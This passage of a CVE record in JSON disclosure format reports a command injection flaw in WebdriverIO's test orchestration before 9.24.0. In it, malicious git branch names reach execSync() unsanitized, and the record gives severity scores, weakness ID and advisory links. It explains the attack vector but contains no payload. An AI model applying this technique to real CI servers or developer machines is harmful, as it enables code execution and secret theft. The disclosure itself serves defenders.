Versions below 9.24.0 contain a command injection vulnerability leading to remote code execution (RCE) in test orchestration. Git permits branch names containing shell metacharacters, and getGitMetadataForAISelection() interpolates these names directly into execSync() calls without sanitization. An attacker can exploit this by supplying a malicious repository (via testOrchestrationOptions.runSmartSelection.source, or the current directory if unset) whose branch name carries a payload, causing the shell to execute arbitrary code. This enables remote code execution on CI/CD servers and developer machines, leading to credential and secret disclosure, source code and SSH key exfiltration, system compromise, and supply chain attacks via tampered build artifacts. The issue has been fixed in version 9.24.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openjsf:webdriverio:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "9.24.0", "matchCriteriaId": "3D9F8ED3-55D8-4830-A602-CBE9D68AF626"}]}]}], "references": [{"url": "https://github.com/webdriverio/webdriverio/blob/ea0e3e00288abced4c739ff9e46c46977b7cdbd2/packages/wdio-browserstack-service/src/testorchestration/helpers.ts#L204", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/webdriverio/webdriverio/releases/tag/v9.24.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/webdriverio/webdriverio/security/advisories/GHSA-5c46-x3qw-q7j7", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/webdriverio/webdriverio/security/advisories/GHSA-5c46-x3qw-q7j7", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}
